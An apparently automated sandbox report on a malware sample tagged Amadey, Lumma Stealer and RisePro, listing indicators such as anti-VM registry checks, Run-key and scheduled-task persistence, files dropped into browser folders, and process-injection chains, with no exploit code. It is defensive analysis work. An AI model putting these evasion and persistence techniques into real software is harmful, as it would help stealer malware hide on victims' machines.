Malware Analysis Report

2024-11-30 05:13

Sample ID 240519-tjxlqaed54
Target 5b750c122fd06716c3fb12b4b94e5e6bd0499a900ea8aac68ae2aa0ddce50a7d
SHA256 5b750c122fd06716c3fb12b4b94e5e6bd0499a900ea8aac68ae2aa0ddce50a7d
Tags
themida amadey lumma risepro 18befc c767c0 discovery evasion execution persistence stealer trojan
score
10/10

Table of Contents

Analysis Overview

MITRE ATT&CK

Enterprise Matrix V15

Analysis: static1

Detonation Overview

Signatures

Analysis: behavioral1

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral2

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis Overview

score
10/10

SHA256

5b750c122fd06716c3fb12b4b94e5e6bd0499a900ea8aac68ae2aa0ddce50a7d

Threat Level: Known bad

The file 5b750c122fd06716c3fb12b4b94e5e6bd0499a900ea8aac68ae2aa0ddce50a7d was found to be: Known bad.

Malicious Activity Summary

themida amadey lumma risepro 18befc c767c0 discovery evasion execution persistence stealer trojan

Lumma Stealer

Amadey

RisePro

Identifies VirtualBox via ACPI registry values (likely anti-VM)

Blocklisted process makes network request

Downloads MZ/PE file

Executes dropped EXE

Identifies Wine through registry keys

Loads dropped DLL

Themida packer

Checks BIOS information in registry

Checks computer location settings

Checks whether UAC is enabled

Looks up external IP address via web service

Checks installed software on the system

Adds Run key to start application

Drops file in System32 directory

Suspicious use of SetThreadContext

Suspicious use of NtSetInformationThreadHideFromDebugger

Drops file in Windows directory

Drops file in Program Files directory

Unsigned PE

Program crash

Command and Scripting Interpreter: PowerShell

Enumerates physical storage devices

Suspicious use of WriteProcessMemory

Kills process with taskkill

Suspicious use of AdjustPrivilegeToken

Creates scheduled task(s)

Checks SCSI registry key(s)

Script User-Agent

Suspicious use of FindShellTrayWindow

Suspicious behavior: EnumeratesProcesses

MITRE ATT&CK

Analysis: static1

Detonation Overview

Reported

2024-05-19 16:05

Signatures

Themida packer

themida
Description Indicator Process Target
N/A N/A N/A N/A

Unsigned PE

Description Indicator Process Target
N/A N/A N/A N/A

Analysis: behavioral1

Detonation Overview

Submitted

2024-05-19 16:05

Reported

2024-05-19 16:08

Platform

win10v2004-20240508-en

Max time kernel

146s

Max time network

138s

Command Line

"C:\Users\Admin\AppData\Local\Temp\5b750c122fd06716c3fb12b4b94e5e6bd0499a900ea8aac68ae2aa0ddce50a7d.exe"

Signatures

Amadey

trojan amadey

Lumma Stealer

stealer lumma

RisePro

stealer risepro

Identifies VirtualBox via ACPI registry values (likely anti-VM)

evasion
Description Indicator Process Target
Key opened \REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__ C:\Users\Admin\AppData\Local\Temp\7af68cdb52\axplons.exe N/A
Key opened \REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__ C:\Users\Admin\AppData\Local\Temp\1000014001\df7d5bdcb6.exe N/A
Key opened \REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__ C:\Users\Admin\AppData\Local\Temp\908f070dff\explorku.exe N/A
Key opened \REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__ C:\Users\Admin\AppData\Local\Temp\908f070dff\explorku.exe N/A
Key opened \REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__ C:\Users\Admin\AppData\Local\Temp\1000013001\amers.exe N/A
Key opened \REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__ C:\Users\Admin\AppData\Local\Temp\7af68cdb52\axplons.exe N/A
Key opened \REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__ C:\Users\Admin\1000017002\9021ae9550.exe N/A
Key opened \REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__ C:\Users\Admin\AppData\Local\Temp\7af68cdb52\axplons.exe N/A
Key opened \REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__ C:\Users\Admin\AppData\Local\Temp\908f070dff\explorku.exe N/A
Key opened \REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__ C:\Users\Admin\AppData\Local\Temp\5b750c122fd06716c3fb12b4b94e5e6bd0499a900ea8aac68ae2aa0ddce50a7d.exe N/A
Key opened \REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__ C:\Users\Admin\AppData\Local\Temp\908f070dff\explorku.exe N/A

Downloads MZ/PE file

Checks BIOS information in registry

Description Indicator Process Target
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion C:\Users\Admin\AppData\Local\Temp\7af68cdb52\axplons.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion C:\Users\Admin\AppData\Local\Temp\908f070dff\explorku.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion C:\Users\Admin\AppData\Local\Temp\1000013001\amers.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion C:\Users\Admin\AppData\Local\Temp\7af68cdb52\axplons.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion C:\Users\Admin\AppData\Local\Temp\908f070dff\explorku.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion C:\Users\Admin\AppData\Local\Temp\908f070dff\explorku.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion C:\Users\Admin\AppData\Local\Temp\7af68cdb52\axplons.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion C:\Users\Admin\AppData\Local\Temp\908f070dff\explorku.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion C:\Users\Admin\AppData\Local\Temp\7af68cdb52\axplons.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion C:\Users\Admin\AppData\Local\Temp\908f070dff\explorku.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion C:\Users\Admin\AppData\Local\Temp\5b750c122fd06716c3fb12b4b94e5e6bd0499a900ea8aac68ae2aa0ddce50a7d.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion C:\Users\Admin\AppData\Local\Temp\5b750c122fd06716c3fb12b4b94e5e6bd0499a900ea8aac68ae2aa0ddce50a7d.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion C:\Users\Admin\AppData\Local\Temp\1000013001\amers.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion C:\Users\Admin\AppData\Local\Temp\7af68cdb52\axplons.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion C:\Users\Admin\AppData\Local\Temp\1000014001\df7d5bdcb6.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion C:\Users\Admin\1000017002\9021ae9550.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion C:\Users\Admin\AppData\Local\Temp\908f070dff\explorku.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion C:\Users\Admin\AppData\Local\Temp\908f070dff\explorku.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion C:\Users\Admin\AppData\Local\Temp\1000014001\df7d5bdcb6.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion C:\Users\Admin\1000017002\9021ae9550.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion C:\Users\Admin\AppData\Local\Temp\7af68cdb52\axplons.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion C:\Users\Admin\AppData\Local\Temp\908f070dff\explorku.exe N/A

Checks computer location settings

Description Indicator Process Target
Key value queried \REGISTRY\USER\S-1-5-21-1181767204-2009306918-3718769404-1000\Control Panel\International\Geo\Nation C:\Users\Admin\AppData\Local\Temp\908f070dff\explorku.exe N/A
Key value queried \REGISTRY\USER\S-1-5-21-1181767204-2009306918-3718769404-1000\Control Panel\International\Geo\Nation C:\Users\Admin\AppData\Local\Temp\1000013001\amers.exe N/A
Key value queried \REGISTRY\USER\S-1-5-21-1181767204-2009306918-3718769404-1000\Control Panel\International\Geo\Nation C:\Users\Admin\AppData\Local\Temp\7af68cdb52\axplons.exe N/A
Key value queried \REGISTRY\USER\S-1-5-21-1181767204-2009306918-3718769404-1000\Control Panel\International\Geo\Nation C:\Users\Admin\AppData\Local\Temp\1000066001\Newoff.exe N/A
Key value queried \REGISTRY\USER\S-1-5-21-1181767204-2009306918-3718769404-1000\Control Panel\International\Geo\Nation C:\Users\Admin\AppData\Local\Temp\5b750c122fd06716c3fb12b4b94e5e6bd0499a900ea8aac68ae2aa0ddce50a7d.exe N/A

Identifies Wine through registry keys

evasion
Description Indicator Process Target
Key opened \REGISTRY\USER\S-1-5-21-1181767204-2009306918-3718769404-1000\Software\Wine C:\Users\Admin\AppData\Local\Temp\1000013001\amers.exe N/A
Key opened \REGISTRY\USER\S-1-5-21-1181767204-2009306918-3718769404-1000\Software\Wine C:\Users\Admin\AppData\Local\Temp\7af68cdb52\axplons.exe N/A
Key opened \REGISTRY\USER\S-1-5-21-1181767204-2009306918-3718769404-1000\Software\Wine C:\Users\Admin\1000017002\9021ae9550.exe N/A
Key opened \REGISTRY\USER\S-1-5-21-1181767204-2009306918-3718769404-1000\Software\Wine C:\Users\Admin\AppData\Local\Temp\7af68cdb52\axplons.exe N/A
Key opened \REGISTRY\USER\S-1-5-21-1181767204-2009306918-3718769404-1000\Software\Wine C:\Users\Admin\AppData\Local\Temp\7af68cdb52\axplons.exe N/A

Loads dropped DLL

Description Indicator Process Target
N/A N/A C:\Users\Admin\AppData\Local\Temp\1000271001\vpn-1002.exe N/A

Themida packer

themida
Description Indicator Process Target
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A

Adds Run key to start application

persistence
Description Indicator Process Target
Set value (str) \REGISTRY\USER\S-1-5-21-1181767204-2009306918-3718769404-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\df7d5bdcb6.exe = "C:\\Users\\Admin\\AppData\\Local\\Temp\\1000014001\\df7d5bdcb6.exe" C:\Users\Admin\AppData\Local\Temp\908f070dff\explorku.exe N/A

Checks installed software on the system

discovery

Checks whether UAC is enabled

evasion trojan
Description Indicator Process Target
Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA C:\Users\Admin\AppData\Local\Temp\5b750c122fd06716c3fb12b4b94e5e6bd0499a900ea8aac68ae2aa0ddce50a7d.exe N/A
Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA C:\Users\Admin\AppData\Local\Temp\908f070dff\explorku.exe N/A
Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA C:\Users\Admin\AppData\Local\Temp\908f070dff\explorku.exe N/A
Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA C:\Users\Admin\AppData\Local\Temp\1000014001\df7d5bdcb6.exe N/A
Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA C:\Users\Admin\AppData\Local\Temp\908f070dff\explorku.exe N/A
Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA C:\Users\Admin\AppData\Local\Temp\908f070dff\explorku.exe N/A

Looks up external IP address via web service

Description Indicator Process Target
N/A checkip.amazonaws.com N/A N/A
N/A checkip.amazonaws.com N/A N/A

Drops file in System32 directory

Description Indicator Process Target
File created C:\Windows\system32\shlwapi_p.dll C:\Users\Admin\AppData\Local\Temp\is-DV2UL.tmp\i0.tmp N/A

Suspicious use of SetThreadContext

Description Indicator Process Target
PID 2556 set thread context of 1568 N/A C:\Users\Admin\AppData\Local\Temp\1000067001\lumma1234.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Drops file in Program Files directory

Description Indicator Process Target
File created C:\Program Files\Online Security\unins000.dat C:\Users\Admin\AppData\Local\Temp\is-DV2UL.tmp\i0.tmp N/A
File opened for modification C:\Program Files\Online Security\unins000.dat C:\Users\Admin\AppData\Local\Temp\is-DV2UL.tmp\i0.tmp N/A
File created C:\Program Files\Google\Chrome\Application\dlls\dlls.manifest C:\Users\Admin\AppData\Local\Temp\is-DV2UL.tmp\i0.tmp N/A
File created C:\Program Files (x86)\Microsoft\Edge\Application\dlls\Shlwapi.dll C:\Users\Admin\AppData\Local\Temp\is-DV2UL.tmp\i0.tmp N/A
File created C:\Program Files\Google\Chrome\Application\dlls\Shlwapi.dll C:\Users\Admin\AppData\Local\Temp\is-DV2UL.tmp\i0.tmp N/A
File created C:\Program Files (x86)\Microsoft\Edge\Application\dlls\dlls.manifest C:\Users\Admin\AppData\Local\Temp\is-DV2UL.tmp\i0.tmp N/A
File created C:\Program Files\Online Security\is-472HU.tmp C:\Users\Admin\AppData\Local\Temp\is-DV2UL.tmp\i0.tmp N/A
File opened for modification C:\Program Files\Google\Chrome\Application\dlls\dlls.manifest C:\Users\Admin\AppData\Local\Temp\is-DV2UL.tmp\i0.tmp N/A
File created C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe.manifest C:\Users\Admin\AppData\Local\Temp\is-DV2UL.tmp\i0.tmp N/A
File created C:\Program Files\Google\Chrome\Application\Extensions\security.crx C:\Users\Admin\AppData\Local\Temp\is-DV2UL.tmp\i0.tmp N/A
File created C:\Program Files\Google\Chrome\Application\Extensions\updates.xml C:\Users\Admin\AppData\Local\Temp\is-DV2UL.tmp\i0.tmp N/A
File created C:\Program Files (x86)\Microsoft\Edge\Application\Extensions\security.crx C:\Users\Admin\AppData\Local\Temp\is-DV2UL.tmp\i0.tmp N/A
File created C:\Program Files (x86)\Microsoft\Edge\Application\Extensions\updates.xml C:\Users\Admin\AppData\Local\Temp\is-DV2UL.tmp\i0.tmp N/A
File created C:\Program Files\scoped_dir4468_1287208454\extension.zip C:\Program Files\Google\Chrome\Application\chrome.exe N/A
File created C:\Program Files\Google\Chrome\Application\chrome.exe.manifest C:\Users\Admin\AppData\Local\Temp\is-DV2UL.tmp\i0.tmp N/A

Drops file in Windows directory

Description Indicator Process Target
File created C:\Windows\Tasks\explorku.job C:\Users\Admin\AppData\Local\Temp\5b750c122fd06716c3fb12b4b94e5e6bd0499a900ea8aac68ae2aa0ddce50a7d.exe N/A
File created C:\Windows\Tasks\axplons.job C:\Users\Admin\AppData\Local\Temp\1000013001\amers.exe N/A

Command and Scripting Interpreter: PowerShell

execution
Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A

Enumerates physical storage devices

Checks SCSI registry key(s)

Description Indicator Process Target
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI C:\Users\Admin\AppData\Local\Temp\1000270001\toolspub1.exe N/A
Key queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI C:\Users\Admin\AppData\Local\Temp\1000270001\toolspub1.exe N/A
Key enumerated \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI C:\Users\Admin\AppData\Local\Temp\1000270001\toolspub1.exe N/A

Creates scheduled task(s)

persistence
Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\schtasks.exe N/A

Kills process with taskkill

evasion
Description Indicator Process Target
N/A N/A C:\Windows\SYSTEM32\taskkill.exe N/A
N/A N/A C:\Windows\SYSTEM32\taskkill.exe N/A

Script User-Agent

Description Indicator Process Target
HTTP User-Agent header Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) N/A N/A
HTTP User-Agent header Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) N/A N/A
HTTP User-Agent header Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) N/A N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SYSTEM32\taskkill.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SYSTEM32\taskkill.exe N/A

Suspicious use of FindShellTrayWindow

Description Indicator Process Target
N/A N/A C:\Users\Admin\AppData\Local\Temp\1000013001\amers.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\is-DV2UL.tmp\i0.tmp N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 4880 wrote to memory of 3900 N/A C:\Users\Admin\AppData\Local\Temp\5b750c122fd06716c3fb12b4b94e5e6bd0499a900ea8aac68ae2aa0ddce50a7d.exe C:\Users\Admin\AppData\Local\Temp\908f070dff\explorku.exe
PID 4880 wrote to memory of 3900 N/A C:\Users\Admin\AppData\Local\Temp\5b750c122fd06716c3fb12b4b94e5e6bd0499a900ea8aac68ae2aa0ddce50a7d.exe C:\Users\Admin\AppData\Local\Temp\908f070dff\explorku.exe
PID 4880 wrote to memory of 3900 N/A C:\Users\Admin\AppData\Local\Temp\5b750c122fd06716c3fb12b4b94e5e6bd0499a900ea8aac68ae2aa0ddce50a7d.exe C:\Users\Admin\AppData\Local\Temp\908f070dff\explorku.exe
PID 3900 wrote to memory of 4348 N/A C:\Users\Admin\AppData\Local\Temp\908f070dff\explorku.exe C:\Users\Admin\AppData\Local\Temp\908f070dff\explorku.exe
PID 3900 wrote to memory of 4348 N/A C:\Users\Admin\AppData\Local\Temp\908f070dff\explorku.exe C:\Users\Admin\AppData\Local\Temp\908f070dff\explorku.exe
PID 3900 wrote to memory of 4348 N/A C:\Users\Admin\AppData\Local\Temp\908f070dff\explorku.exe C:\Users\Admin\AppData\Local\Temp\908f070dff\explorku.exe
PID 3900 wrote to memory of 4972 N/A C:\Users\Admin\AppData\Local\Temp\908f070dff\explorku.exe C:\Users\Admin\AppData\Local\Temp\1000013001\amers.exe
PID 3900 wrote to memory of 4972 N/A C:\Users\Admin\AppData\Local\Temp\908f070dff\explorku.exe C:\Users\Admin\AppData\Local\Temp\1000013001\amers.exe
PID 3900 wrote to memory of 4972 N/A C:\Users\Admin\AppData\Local\Temp\908f070dff\explorku.exe C:\Users\Admin\AppData\Local\Temp\1000013001\amers.exe
PID 4972 wrote to memory of 2076 N/A C:\Users\Admin\AppData\Local\Temp\1000013001\amers.exe C:\Users\Admin\AppData\Local\Temp\7af68cdb52\axplons.exe
PID 4972 wrote to memory of 2076 N/A C:\Users\Admin\AppData\Local\Temp\1000013001\amers.exe C:\Users\Admin\AppData\Local\Temp\7af68cdb52\axplons.exe
PID 4972 wrote to memory of 2076 N/A C:\Users\Admin\AppData\Local\Temp\1000013001\amers.exe C:\Users\Admin\AppData\Local\Temp\7af68cdb52\axplons.exe
PID 2076 wrote to memory of 1012 N/A C:\Users\Admin\AppData\Local\Temp\7af68cdb52\axplons.exe C:\Users\Admin\AppData\Local\Temp\1000066001\Newoff.exe
PID 2076 wrote to memory of 1012 N/A C:\Users\Admin\AppData\Local\Temp\7af68cdb52\axplons.exe C:\Users\Admin\AppData\Local\Temp\1000066001\Newoff.exe
PID 2076 wrote to memory of 1012 N/A C:\Users\Admin\AppData\Local\Temp\7af68cdb52\axplons.exe C:\Users\Admin\AppData\Local\Temp\1000066001\Newoff.exe
PID 1012 wrote to memory of 3208 N/A C:\Users\Admin\AppData\Local\Temp\1000066001\Newoff.exe C:\Windows\SysWOW64\schtasks.exe
PID 1012 wrote to memory of 3208 N/A C:\Users\Admin\AppData\Local\Temp\1000066001\Newoff.exe C:\Windows\SysWOW64\schtasks.exe
PID 1012 wrote to memory of 3208 N/A C:\Users\Admin\AppData\Local\Temp\1000066001\Newoff.exe C:\Windows\SysWOW64\schtasks.exe
PID 2076 wrote to memory of 2556 N/A C:\Users\Admin\AppData\Local\Temp\7af68cdb52\axplons.exe C:\Users\Admin\AppData\Local\Temp\1000067001\lumma1234.exe
PID 2076 wrote to memory of 2556 N/A C:\Users\Admin\AppData\Local\Temp\7af68cdb52\axplons.exe C:\Users\Admin\AppData\Local\Temp\1000067001\lumma1234.exe
PID 2076 wrote to memory of 2556 N/A C:\Users\Admin\AppData\Local\Temp\7af68cdb52\axplons.exe C:\Users\Admin\AppData\Local\Temp\1000067001\lumma1234.exe
PID 1012 wrote to memory of 5104 N/A C:\Users\Admin\AppData\Local\Temp\1000066001\Newoff.exe C:\Users\Admin\AppData\Local\Temp\1000270001\toolspub1.exe
PID 1012 wrote to memory of 5104 N/A C:\Users\Admin\AppData\Local\Temp\1000066001\Newoff.exe C:\Users\Admin\AppData\Local\Temp\1000270001\toolspub1.exe
PID 1012 wrote to memory of 5104 N/A C:\Users\Admin\AppData\Local\Temp\1000066001\Newoff.exe C:\Users\Admin\AppData\Local\Temp\1000270001\toolspub1.exe
PID 2556 wrote to memory of 1568 N/A C:\Users\Admin\AppData\Local\Temp\1000067001\lumma1234.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
PID 2556 wrote to memory of 1568 N/A C:\Users\Admin\AppData\Local\Temp\1000067001\lumma1234.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
PID 2556 wrote to memory of 1568 N/A C:\Users\Admin\AppData\Local\Temp\1000067001\lumma1234.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
PID 2556 wrote to memory of 1568 N/A C:\Users\Admin\AppData\Local\Temp\1000067001\lumma1234.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
PID 2556 wrote to memory of 1568 N/A C:\Users\Admin\AppData\Local\Temp\1000067001\lumma1234.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
PID 2556 wrote to memory of 1568 N/A C:\Users\Admin\AppData\Local\Temp\1000067001\lumma1234.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
PID 2556 wrote to memory of 1568 N/A C:\Users\Admin\AppData\Local\Temp\1000067001\lumma1234.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
PID 2556 wrote to memory of 1568 N/A C:\Users\Admin\AppData\Local\Temp\1000067001\lumma1234.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
PID 2556 wrote to memory of 1568 N/A C:\Users\Admin\AppData\Local\Temp\1000067001\lumma1234.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
PID 1012 wrote to memory of 1260 N/A C:\Users\Admin\AppData\Local\Temp\1000066001\Newoff.exe C:\Users\Admin\AppData\Local\Temp\1000271001\vpn-1002.exe
PID 1012 wrote to memory of 1260 N/A C:\Users\Admin\AppData\Local\Temp\1000066001\Newoff.exe C:\Users\Admin\AppData\Local\Temp\1000271001\vpn-1002.exe
PID 1012 wrote to memory of 1260 N/A C:\Users\Admin\AppData\Local\Temp\1000066001\Newoff.exe C:\Users\Admin\AppData\Local\Temp\1000271001\vpn-1002.exe
PID 1260 wrote to memory of 4508 N/A C:\Users\Admin\AppData\Local\Temp\1000271001\vpn-1002.exe C:\Windows\SysWOW64\cmd.exe
PID 1260 wrote to memory of 4508 N/A C:\Users\Admin\AppData\Local\Temp\1000271001\vpn-1002.exe C:\Windows\SysWOW64\cmd.exe
PID 1260 wrote to memory of 4508 N/A C:\Users\Admin\AppData\Local\Temp\1000271001\vpn-1002.exe C:\Windows\SysWOW64\cmd.exe
PID 4508 wrote to memory of 4404 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 4508 wrote to memory of 4404 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 4508 wrote to memory of 4404 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 3900 wrote to memory of 4560 N/A C:\Users\Admin\AppData\Local\Temp\908f070dff\explorku.exe C:\Users\Admin\AppData\Local\Temp\1000014001\df7d5bdcb6.exe
PID 3900 wrote to memory of 4560 N/A C:\Users\Admin\AppData\Local\Temp\908f070dff\explorku.exe C:\Users\Admin\AppData\Local\Temp\1000014001\df7d5bdcb6.exe
PID 3900 wrote to memory of 4560 N/A C:\Users\Admin\AppData\Local\Temp\908f070dff\explorku.exe C:\Users\Admin\AppData\Local\Temp\1000014001\df7d5bdcb6.exe
PID 4508 wrote to memory of 4248 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 4508 wrote to memory of 4248 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 4508 wrote to memory of 4248 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 4508 wrote to memory of 4084 N/A C:\Windows\SysWOW64\cmd.exe C:\Users\Admin\AppData\Local\Temp\i0.exe
PID 4508 wrote to memory of 4084 N/A C:\Windows\SysWOW64\cmd.exe C:\Users\Admin\AppData\Local\Temp\i0.exe
PID 4508 wrote to memory of 4084 N/A C:\Windows\SysWOW64\cmd.exe C:\Users\Admin\AppData\Local\Temp\i0.exe
PID 4508 wrote to memory of 4720 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 4508 wrote to memory of 4720 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 4508 wrote to memory of 4720 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 4084 wrote to memory of 2624 N/A C:\Users\Admin\AppData\Local\Temp\i0.exe C:\Users\Admin\AppData\Local\Temp\is-DV2UL.tmp\i0.tmp
PID 4084 wrote to memory of 2624 N/A C:\Users\Admin\AppData\Local\Temp\i0.exe C:\Users\Admin\AppData\Local\Temp\is-DV2UL.tmp\i0.tmp
PID 4084 wrote to memory of 2624 N/A C:\Users\Admin\AppData\Local\Temp\i0.exe C:\Users\Admin\AppData\Local\Temp\is-DV2UL.tmp\i0.tmp
PID 2624 wrote to memory of 2296 N/A C:\Users\Admin\AppData\Local\Temp\is-DV2UL.tmp\i0.tmp C:\Windows\system32\cmd.exe
PID 2624 wrote to memory of 2296 N/A C:\Users\Admin\AppData\Local\Temp\is-DV2UL.tmp\i0.tmp C:\Windows\system32\cmd.exe
PID 3900 wrote to memory of 5008 N/A C:\Users\Admin\AppData\Local\Temp\908f070dff\explorku.exe C:\Users\Admin\1000017002\9021ae9550.exe
PID 3900 wrote to memory of 5008 N/A C:\Users\Admin\AppData\Local\Temp\908f070dff\explorku.exe C:\Users\Admin\1000017002\9021ae9550.exe
PID 3900 wrote to memory of 5008 N/A C:\Users\Admin\AppData\Local\Temp\908f070dff\explorku.exe C:\Users\Admin\1000017002\9021ae9550.exe
PID 2296 wrote to memory of 4468 N/A C:\Windows\system32\cmd.exe C:\Program Files\Google\Chrome\Application\chrome.exe
PID 2296 wrote to memory of 4468 N/A C:\Windows\system32\cmd.exe C:\Program Files\Google\Chrome\Application\chrome.exe

Processes

C:\Users\Admin\AppData\Local\Temp\5b750c122fd06716c3fb12b4b94e5e6bd0499a900ea8aac68ae2aa0ddce50a7d.exe

